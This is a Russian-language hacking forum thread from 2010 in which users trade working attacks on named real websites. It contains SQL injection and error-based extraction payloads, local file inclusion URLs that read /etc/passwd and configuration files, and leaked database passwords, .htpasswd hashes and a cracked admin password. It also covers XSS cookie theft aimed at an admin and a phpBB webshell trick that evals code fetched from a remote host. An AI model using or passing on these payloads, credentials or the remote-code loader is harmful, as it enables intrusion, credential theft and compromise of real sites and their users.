(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=0x74626c5f67726f75705f616 46d696e)--

syntaxe incorrecte vers ')'

что посоветуете?

pinch
06.05.2010, 18:53
Есть сайт, делаю запрос:
http://test/news.php?id=-1+union+select+1,user(),3,4--
Выводит:
adeoo3@10.1.1.17

Хочу узнать права на чтение/запись файлов, делаю запрос:
http://test/news.php?id=-1+union+select+1,file_priv,3,4+from+mysql.user+whe re+user='adeoo3'--
Выводит:
SELECT command denied to user 'adeoo3'@'10.1.1.17' for table 'user'
Что это значит???

kfor
06.05.2010, 18:53
ребят делаю запрос

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME='tbl_group_admin')--

результат

Ligne 1 : syntaxe incorrecte vers ')'.

делаю

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=CHAR(116,98,108,95,103,11 4,111,117,112,95,97,100,109,105,110))--

результат

a fonction char requiert 1 arguments.

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=0x74626c5f67726f75705f616 46d696e)--

syntaxe incorrecte vers ')'

что посоветуете?


а если без топ 1 попробовать что выводит?

kfor
06.05.2010, 18:54
Есть сайт, делаю запрос:
http://test/news.php?id=-1+union+select+1,user(),3,4--
Выводит:
adeoo3@10.1.1.17

Хочу узнать права на чтение/запись файлов, делаю запрос:
http://test/news.php?id=-1+union+select+1,file_priv,3,4+from+mysql.user+whe re+user='adeoo3'--
Выводит:
SELECT command denied to user 'adeoo3'@'10.1.1.17' for table 'user'
Что это значит???

Нетдоступа к таблице майск.юсер, попробуй перечитапть файл через load_file или залить в /tmp и перечитать оттуда.

pinch
06.05.2010, 18:55
ребят делаю запрос (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME='tbl_group_admin')-- результат Ligne 1 : syntaxe incorrecte vers ')'. делаю (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=CHAR(116,98,108,95,103,11 4,111,117,112,95,97,100,109,105,110))-- результат a fonction char requiert 1 arguments. (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=0x74626c5f67726f75705f616 46d696e)-- syntaxe incorrecte vers ')' что посоветуете?

надо так:
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=char(116)%2Bchar(98)%2Bch ar(108)%2Bchar(95)%2Bchar(103)%2Bchar(114)%2Bchar( 111)%2Bchar(117)%2Bchar(112)%2Bchar(95)%2Bchar(97) %2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110))--

*uNkN0Wn*
06.05.2010, 19:00
Есть активная xss. Как через яваскрипт сделать размер ифрейма на весь экран?
p.s. С помощью этого <iframe src=//сайт>

pinch
06.05.2010, 19:01
http://test/news.php?id=-1+union+select+1,load_file('/etc/passwd'),3,4--
не катит.

Значит у меня однозначно нет прав?

Konqi
06.05.2010, 19:06
а если без топ 1 попробовать что выводит?

тот же результат

надо так:
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=char(116)%2Bchar(98)%2Bch ar(108)%2Bchar(95)%2Bchar(103)%2Bchar(114)%2Bchar( 111)%2Bchar(117)%2Bchar(112)%2Bchar(95)%2Bchar(97) %2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110))--

а можно без url encode?

pinch
06.05.2010, 19:13
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=char(116)+char(98)+char(1 08)+char(95)+char(103)+char(114)+char(111)+char(11 7)+char(112)+char(95)+char(97)+char(100)+char(109) +char(105)+char(110))--

kfor
06.05.2010, 19:15
http://test/news.php?id=-1+union+select+1,load_file('/etc/passwd'),3,4--
не катит.

Значит у меня однозначно нет прав?

скорее всего да.

Konqi
06.05.2010, 19:15
2 pinch

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=(SELECT+TOP+1+COLUMN_NAME +FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME= char(116)+char(98)+char(108)+char(95)+char(103)+ch ar(114)+char(111)+char(117)+char(112)+char(95)+cha r(97)+char(100)+char(109)+char(105)+char(110))--

syntaxe incorrecte vers 'char'.

Konqi
06.05.2010, 19:18
http://test/news.php?id=-1+union+select+1,load_file('/etc/passwd'),3,4--
не катит.

Значит у меня однозначно нет прав?

Попробуй

load_file(CHAR(47,101,116,99,47,112,97,115,115,119 ,100))

kfor
06.05.2010, 19:23
Попробуй

load_file(CHAR(47,101,116,99,47,112,97,115,115,119 ,100))

Из прошлого запроса видно что ковычка не фильтруется.

pinch
06.05.2010, 19:30
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=(SELECT+TOP+1+COLUMN_NAME +FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME= char(116)+char(98)+char(108)+char(95)+char(103)+ch ar(114)+char(111)+char(117)+char(112)+char(95)+cha r(97)+char(100)+char(109)+char(105)+char(110))-- syntaxe incorrecte vers 'char'.

на encode не пробовал
заменив "+" на "%2B"
скорее всего причина в этом

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=char(116)%2Bchar(98)%2Bch ar(108)%2Bchar(95)%2Bchar(103)%2Bchar(114)%2Bchar( 111)%2Bchar(117)%2Bchar(112)%2Bchar(95)%2Bchar(97) %2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110))--

Konqi
06.05.2010, 19:36
2 pinch

nea,тот же результат =(

pinch
06.05.2010, 19:39
интересно может ссылку дашь....

Konqi
06.05.2010, 20:03
интересно может ссылку дашь....

в личку

*uNkN0Wn*
06.05.2010, 20:03
А мне кто поможет?
Есть активная xss. Как через яваскрипт сделать размер ифрейма на весь экран?
p.s. С помощью этого <iframe src=//сайт>

ReckouNT
06.05.2010, 20:05
мдаааа, ты уже топик вроде создавал, и тебе там совершенно ясно ответили, зачем здесь пишешь?!
http://en.wikipedia.org/wiki/Basic_access_authentication
alert() тут не причём, это не javascript.
Создавать то создавал, но потом в описании раздела увидел, что нельзя, через день удалили тред.

Кинули ссылку на ман по тому как сделать, а я пока скорее нахожусь на уровне скрипт - кидди)

Из википедии понял только что шифрование на Base64, никаких уязвимостей там не написано.

ЗЫ: мой вопрос на странице 1293

oko
06.05.2010, 20:24
Подскажите как вытащить cookies с сайта, есть XSS уязвимость, задача вытащить cookies админа, испробавала пока на себе (document.cookie(JS)) нормально вытаскивает и записывает но одна проблема всего 4 значения а их там 6... т.е не все полностью тащит, есть еще какие то варианты?

oko
06.05.2010, 23:10
Оказывается надо было просто аворитизироваться, и появится все параметры, вопрос закрыт

Rabben
07.05.2010, 02:09
Исправьте запрос, никак не могу вывести таблицу
http://blocked/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admi n_password),2,3+from+se_admins

Pashkela
07.05.2010, 02:23
http://ping.ua/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+and+(select+1+from+(select+count(0),concat((sele ct+concat_ws(0x3a,admin_username,admin_password)+f rom+se_admins+limit+0,1),floor(rand(0)*2))+from+se _admins+group+by+2)a)--+


последняя единичка в каждом результате лишняя

burn90
07.05.2010, 04:38
Попробуй залить шелл через пхп май админ если есть разрешение на into outfile
а как узнать куда его заливать. те где находятся файлы сайта :)

ReckouNT
07.05.2010, 05:06
Нужно поломать сайт с аунтификацией такого вида а-ля alert (JS). На вид подумал что сама аунтификация довольно старая, и возможно есть уязвимости.

Пикча формы, на фоне - страница, открывающаяся после неуспешного входа (адреса счел нужным скрыть)
http://s58.radikal.ru/i160/1005/34/9cb26e6c3bc2.png

Такая штука отображается при доступе к фаилу http://site/admin.php. На пхп фаил не похоже, судя по форме неудачи, прописано где то в апаче.

brutus-aet2 ом прогонять пробовал, выдает бред при разных настройках. По словарю он выдает каждый раз новые пароли, по подбору - тоже.

Спасибо.

ЗЫ: Поиск юзал. Просьба постить только по теме.
ЗЗЫ: Если запостил тему не в том разделе, просьба переместить и отправить ссылку в ЛС.
ЗЗЗЫ: Ломаю не ради интереса и не ради того, чтобы "нагадить".

Ап

[Feldmarschall]
07.05.2010, 05:18
ReckouNT забей..

warlok
07.05.2010, 05:29
ReckouNT, увы но бесик авторизацию ты не обойдешь. Только брутом.

ReckouNT
07.05.2010, 06:49
']ReckouNT забей..

Не могу, к данному сайту личный интерес. К тому же там большая база юзверей и он самописный, дырок должно быть дофига.

ReckouNT, увы но бесик авторизацию ты не обойдешь. Только брутом.

Очень жаль, я надеялся что к такому старому способу что либо придумали. Брут там использовать очень легко.
Ладно, придется либо брутить, либо искать новую уязвимость.
=======
Да, и кстати: как можно просмотреть исходный код страницы при вылетающем окне? В фф и осле просмотреть не могу, т.к. мигает окно логинпасса по причине что не ввел данные.

На странице неудачи входа он меняется. Нужно посмотреть, какие имена присвоены полям, для настройки брута.

pinch
07.05.2010, 07:37
Исправьте запрос, никак не могу вывести таблицу http://blocked/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admi n_password),2,3+from+se_admins

unhex(hex(admin_username))
aes_descrypt(aes_encrypt(admin_username,12),12)
или таблица находится в другой бд.

547
07.05.2010, 08:06
а как узнать куда его заливать. те где находятся файлы сайта :)

ты хоть сам то понял что написал?

warlok
07.05.2010, 08:13
Да, и кстати: как можно просмотреть исходный код страницы при вылетающем окне? В фф и осле просмотреть не могу, т.к. мигает окно логинпасса по причине что не ввел данные.

На странице неудачи входа он меняется. Нужно посмотреть, какие имена присвоены полям, для настройки брута.
А никак ты это не сделаешь, там формы как таковой нету. Вот пример http авторизации на пхп

<?php
$result = http_auth('http://site.ru/admin/','username','password');
echo $result;

function http_auth($url,$login,$password) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERPWD, $login.":".$password);
$result = curl_exec($ch);
return $result;
}

?>

ну а с брутом там сам разбирайся, не думаю что это сложно.

oko
07.05.2010, 13:34
Подскажите как можно использовать открытый прокси, ну т.е сканер выдал открыт порт 8080

Это может позволить злоумышленнику обойти брандмауэр и подключить к чувствительным порты, такие как 23 (Telnet), 25 (Sendmail)

ну вот что то такое... хотелось бы не много подробнее про это

.Slip
07.05.2010, 13:51
Подскажите как можно использовать открытый прокси, ну т.е сканер выдал открыт порт 8080

Это может позволить злоумышленнику обойти брандмауэр и подключить к чувствительным порты, такие как 23 (Telnet), 25 (Sendmail)

ну вот что то такое... хотелось бы не много подробнее про это
Апельсин, телевизор, коробка, деревья, автомобиль. Можно поподробнее про это?

oko
07.05.2010, 14:11
Апельсин, телевизор, коробка, деревья, автомобиль. Можно поподробнее про это?
что можно сделать если у сайта открыт порт 8080 ? сканер пишет критическая уязвимость, вот хочу понять почему и как ей пользоваться

budden
07.05.2010, 14:45
Ничего нельзя сделать.

scorpic393
07.05.2010, 21:07
попал в админку через скулю типа 1 or 1 =1 --

в админке нет возможности залить шелл, хотя была, но какието уроды, которые там уже побывали раз*бали всё. Но я нашол там локальный инклуд, но на серваке стоит mod_secury который фильтрует и в гете и посте данные типа /etc/passwd, Хотя /etc/hosts - прошол. помогите обойти плиз mod_securuty для локального инклуда плиз.

shell_c0de
08.05.2010, 01:04
короче ситуация такая ...
цель залить шелл на driverguide.com
найденные баги etc...
http://forums.driverguide.com/ форум Булка
http://myupdates.com/static.php?type=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&files=screen%2Cstyle
http://myupdates.com/static.php?type=css&files=../../../../../../../../etc/passwd%00
что то etc/passwd разные показывает хотя файл тот же =\

http://myupdates.com/static.php?type=css&files=../index.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members//icx/general/filesystem.inc.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members/icx/driverguide/home/index.php%00http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members/icx/driverguide/home/../../driverguide/home/aptimus.inc.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../etc/hosts%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members/icx/driverguide/home//support/support.inc.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members/icx/driverguide/home/voyeur.inc.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members/icx/driverguide/home/../../ums/driverguide_conf/aptimus_login.xinc.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members//icx/general/filesystem.inc.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/members/icx/driverguide/home/robots.php%00
http://myupdates.com/static.php?type=css&files=../../../../icx/ums/ums_instance.php%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../etc/httpd/conf/httpd.conf%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../var/log/httpd/access_log%00
http://myupdates.com/static.php?type=css&files=../../../../../../../../etc/hosts%00
Path: DocumentRoot /home/httpd/driverguide.com/beta/public
дальше ....
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/driverguide.com/forums/public/includes/config.php%00
данные БД но коннекта внешне нема =(
$config['Database']['dbtype'] = 'mysql';

$config['Database']['dbname'] = 'vb3';

$config['Database']['tableprefix'] = 'vb3_';

$config['Database']['technicalemail'] = '';

$config['Database']['force_sql_mode'] = false;


$config['MasterServer']['servername'] = '192.168.1.194';
$config['MasterServer']['port'] = 3306;

$config['MasterServer']['username'] = 'betav2';
$config['MasterServer']['password'] = 'betav2a';

$config['MasterServer']['usepconnect'] = 0;


$config['SlaveServer']['servername'] = '';
$config['SlaveServer']['port'] = 3306;
$config['SlaveServer']['username'] = '';
$config['SlaveServer']['password'] = '';
$config['SlaveServer']['usepconnect'] = 0;

Версия Linux version 2.4.21-60.ELsmp (mockbuild@hs20-bc2-4.build.redhat.com) (gcc version 3.2.3 20030502 (Red Hat Linux 3.2.3-59)) #1
Локалка/соседы
192.168.1.244 web6.driverguide.com web6
192.168.1.211 web1.driverguide.com web1
192.168.1.212 web2.driverguide.com web2
192.168.1.214 web3.driverguide.com web3
192.168.1.215 web4.driverguide.com web4
192.168.1.243 web5.driverguide.com web5
127.0.0.1 members-images.driverguide.net
192.168.1.219 eml.driverguide.com
192.168.1.244 members.driverguide.com members
192.168.1.244 forums.driverguide.com forums
192.168.1.244 beta.driverguide.com beta
192.168.1.244 list.driverguide.com list
192.168.1.220 db1.driverguide.com db1
192.168.1.219 email.driverguide.net email
192.168.1.211 web1-internal.driverguide.net
192.168.1.212 web2-internal.driverguide.net

http://members.driverguide.com//internal/phpMyAdmin/
пыхадмин =) phpMyAdmin 2.5.3 сплойт для этой ветке http://milw0rm.com/exploits/309 но хз пока не юзал
http://myupdates.com/internal/admin/
http://myupdates.com/static.php?type=css&files=../internal/admin/.htaccess%00
editor:7vr1es1uwzlqI DES
в Форуме 91к юзверов дамп ваше =)
-added-
http://myupdates.com/static.php?type=css&files=../../../../../../../../../../home/httpd/myupdates.com/www/bcx/myupdates/home/_htpasswd/.htpasswd%00
editor:7vr1es1uwzlqI
http://members.driverguide.com//internal/phpMyAdmin/
Конфиг ПМА http://myupdates.com/static.php?type=css&files=../../../../../../../../../..//home/httpd/driverguide.com/members/icx/thirdparty/phpMyAdmin-2.5.3/config.inc.php%00

Alias /internal/phpMyAdmin/ "/home/httpd/driverguide.com/members/icx/thirdparty/phpMyAdmin-2.5.3/
путь с веба /internal/phpMyAdmin/ но млин
$config['MasterServer']['username'] = 'betav2';
$config['MasterServer']['password'] = 'betav2a';

http://myupdates.com/internal/admin/
вот еще http://myupdates.com/static.php?type=csshttp://myupdates.com/static.php?type=css&files=../../../../../../../../../..///home/httpd/driverguide.com/members/icx/thirdparty/FlashChat_v37/config.php%00
$database = "driverdb__live"; // MySQL database name
$dbuser = "dev"; // MySQL username
$dbpass = "dbd3v"; // MySQL password
$host = "192.168.1.194"; // MySQL host name
moderatorPassword = "mod123"; // to login as a moderator
$spyPassword = "spy123"; // to login as a spy (disabled when using XOOPS)
еще кое что откопал
http://myupdates.com/static.php?type=css&files=../../../../../../../../../..//home/httpd/icentric.com/intranet/public/.htpasswd%00
http://intranet.icentric.com/
intranet:f68alIucmxrmU
quincy:B7B2pTzqkrdbQ
опять DES
http://blog.driverguide.com/wp-login.php стоит ВП

Попробовал через сессию но тут как бэ не совсем инклуд а читалка файлов получается, принклудит в лог апача нету резона=\
что можете рекомендовать ? что то в 5 утра башка не варит дальше, хотя 98% данные в руках но ничего не выходит =\
===
короче вот и скуля http://members.driverguide.com/index.php?companyid=-2712+union+select+user(),user_pass+from+driverguid e_blog.wp_users+/*&action=getinfo
<title>dev@192.168.1.222 ($P$B1SdEpP2uJl/0yIR3M6TryHvTigpEC/) Drivers / Support / Contact Info</title>
http://members.driverguide.com/index.php?companyid=-2712+union+select+username,password+from+user+limi t+1,100000/*&action=getinfo
<title>admin (a1e5555abefe434946e95f0de3fb2787) Drivers / Support / Contact Info</title>

a1e5555abefe434946e95f0de3fb2787 : Shaaolin
quincy:B7B2pTzqkrdbQ:p51s
http://intranet.icentric.com/
http://myupdates.com/internal/admin/
http://members.driverguide.com/internal/phpMyAdmin/
короче никуда не подошел или фильтр по айпи или хз =\
есть идеи ?
P.S Сорри за много букаф )

*uNkN0Wn*
08.05.2010, 13:00
Есть XSS. Каким образом можно сделать iframe на всё окно?

.:[melkiy]:.
08.05.2010, 13:40
Есть XSS. Каким образом можно сделать iframe на всё окно?

http://www.htmlbook.ru/html/iframe.html

*uNkN0Wn*
08.05.2010, 13:42
:.']http://www.htmlbook.ru/html/iframe.html
Благодарствую ;)

pelligrim
08.05.2010, 13:53
есть инъекция 4 ветка

http://gay.ks.ua/links.php?catid=32+and+substring(version(),1,1)=4 :)))

помогите правильно составить запрос, что бы вывод был в ошибке.
или здесь только крутить как слепую?

Konqi
08.05.2010, 14:02
Херсонский гей-портал :D

Konqi
08.05.2010, 14:05
http://gay.ks.ua/links.php?catid=32+order+by+4--
http://gay.ks.ua/links.php?catid=-32+union+select+1,2,3,4--

колонки не видны

ищи скул в другом скрипте

вот еще инфа

http://gay.ks.ua/links.php?catid=32+and+substring(user(),1,1)=char( 103)
http://gay.ks.ua/links.php?catid=32+and+substring(user(),2,1)=char( 97)
http://gay.ks.ua/links.php?catid=32+and+substring(user(),3,1)=char( 121)
http://gay.ks.ua/links.php?catid=32+and+substring(user(),4,1)=char( 107)
http://gay.ks.ua/links.php?catid=32+and+substring(user(),5,1)=char( 115)


юзер-gayks

http://gay.ks.ua/links.php?catid=32+and+substring(@@version_compile _os,1,1)=char(112)
http://gay.ks.ua/links.php?catid=32+and+substring(@@version_compile _os,2,1)=char(99)

думаю ос pc-linux

DrakonHaSh
08.05.2010, 14:36
http://gay.ks.ua/links.php?catid=32 order by 5
=>
Unknown column '5' in 'order clause'
=> по идее можно выводить данные через ошибку

Konqi
08.05.2010, 14:39
http://gay.ks.ua/links.php?catid=32 order by 5
=>
Unknown column '5' in 'order clause'
=> по идее можно выводить данные через ошибку

на пример

DrakonHaSh
08.05.2010, 14:59
я про то, что вывод ошибки можно поймать
а вот использовать методы из Вывод информации в ошибке для MySQL всех версий (http://qwazar.ru/?p=7) у меня не получилось. может у вас получится ;)

http://gay.ks.ua/links.php?catid=32 UNION SELECT * FROM mysql.users
=>
SELECT command denied to user: 'gayks_admin@localhost' for table 'users'

http://gay.ks.ua/links.php?catid=32 UNION SELECT * FROM users
=>
Table 'gayks_phorum.users' doesn't exist

прогнал тулзой пашкелы подбор таблиц (без префикса), нашла только одну - video:
http://gay.ks.ua/links.php?catid=32 UNION SELECT id FROM video
=>
The used SELECT statements have a different number of columns

S00pY
08.05.2010, 15:18
я про то, что вывод ошибки можно поймать
а вот использовать методы из Вывод информации в ошибке для MySQL всех версий (http://qwazar.ru/?p=7) у меня не получилось. может у вас получится ;)

В связи с открытием блога, достаю из недр античата ещё один обнаруженный мной метод, который работает для MySQL всех версий начиная с 4.1 .

gay.ks.ua/links.php?catid=32+and+substring(@@version,1,2)=4. 0

Konqi
08.05.2010, 15:24
database() - gayks

щас всем народом будем взломать гей портал

DrakonHaSh
08.05.2010, 16:28
заметил у них на на форуме:
Copyright BOY-UANIC 2002-2010
сходил в гугл, нашел это:
http://www.eu-football.info/_links.php?catid=10 and+substring(version(),1,1)=5
т.е. тот же движ, но mysql - 5-ка, соответственно в ней скорее всего можно все, что надо, подсмотреть ;)

балин, и тут облом :)
http://www.eu-football.info/_links.php?catid=10 and+(select+1+from+(select+count(0),concat((select +version()),floor(rand(0)* 2))+from+information_schema.tables+group+by+2)a)--+
=>
SELECT command denied to user 'gbua_f00t'@'213.186.117.208' for table 'tables'

а вот таблица video и здесь присутствует:
http://www.eu-football.info/_links.php?catid=10 and+(select+1+from+(select+count(0),concat((select +version()),floor(rand(0)* 2))+from+video+group+by+2)a)--+
=>
Duplicate entry '5.0.45-community-nt-log1' for key 1

daniel_1024
08.05.2010, 17:27
всем доброго времени суток.
вопрос - есть сервер Linux 2.6.10-1.771_FC2smp #1 SMP Mon Mar 28 01:10:51 EST 2005 i686
скачал скомпилированный эксплойт Krad отсюда http://files.xakep.biz/Local_Root_Exploits/krad
запускаю ./exploit
получаю ошибку: [6658: 3] tcsetattr: Invalid argument
эээ...что не так ?

.:[melkiy]:.
08.05.2010, 17:28
http://milw0rm.com/sploits/2009-linux-sendpage3.tar.gz
http://milw0rm.com/sploits/2009-linux-sendpage2.tar.gz

Konqi
08.05.2010, 18:01
phpbb 2.0.22, есть админские права ..можно как нить залить шелл ??

на эту версию ничего не нашел

http://forum.antichat.ru/thread24488.html

GOGA075
08.05.2010, 18:06
Konqi можно через картинку, но не всегда это работает!
а можно через восстановление БД:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:assert(stripslashes($_REQUEST[cmd]));' WHERE user_id=2;
а потом в командной строке в профайле
&cmd=phpinfo();
или
cmd=eval(file_get_contents('http://ххх.ru/down/shell.txt'));

.:[melkiy]:.
08.05.2010, 18:07
phpbb 2.0.22, есть админские права ..можно как нить залить шелл ??

на эту версию ничего не нашел

http://forum.antichat.ru/thread24488.html


https://forum.antichat.ru/showpost.php?p=198446&postcount=3

Konqi
08.05.2010, 18:53
2 GOGA075

и где ставить этот sql запрос?

GOGA075
08.05.2010, 18:59
Создаешь файл 1.sql пихеш туда этот запрос, топаешь а админку и восстанавливаешь его там!
потом топаешь в профайл и ...
profile.php?mode=editprofile&cmd=phpinfo();
видешь phpinf'у!
ну а дальше шел...

ILYAtirtir
08.05.2010, 19:00
2 GOGA075

и где ставить этот sql запрос?
Делаешь бекап базы,в файл это записываешь,и делаешь восстановление базы,ну или как-то так. :)

Konqi
08.05.2010, 19:03
ok люди Щас папробую ))

Konqi
08.05.2010, 19:07
парни сработал спасибо вам :D

Konqi
08.05.2010, 19:21
phpinfo пашет а вот с шелом никак :(

Parse error: syntax error, unexpected '<' in /home/z/u/zucchini/public_html/forum/includes/usercp_register.php(821) : regexp code(1) : assert code(1) : eval()'d code on line 1

Warning: assert() [function.assert]: Assertion "eval(file_get_contents('http://mysite.com/shell.php'));" failed in /home/z/u/zucchini/public_html/forum/includes/usercp_register.php(821) : regexp code on line 1

GOGA075
08.05.2010, 19:22
Konqi расширение шела не php а txt и только txt!

eval(file_get_contents('http://mysite.com/shell.txt'));

Ctacok
08.05.2010, 19:24
А аплоадить шелл некак? :)
5 сек дам линк на пост )

https://forum.antichat.ru/showpost.php?p=1722124&postcount=10463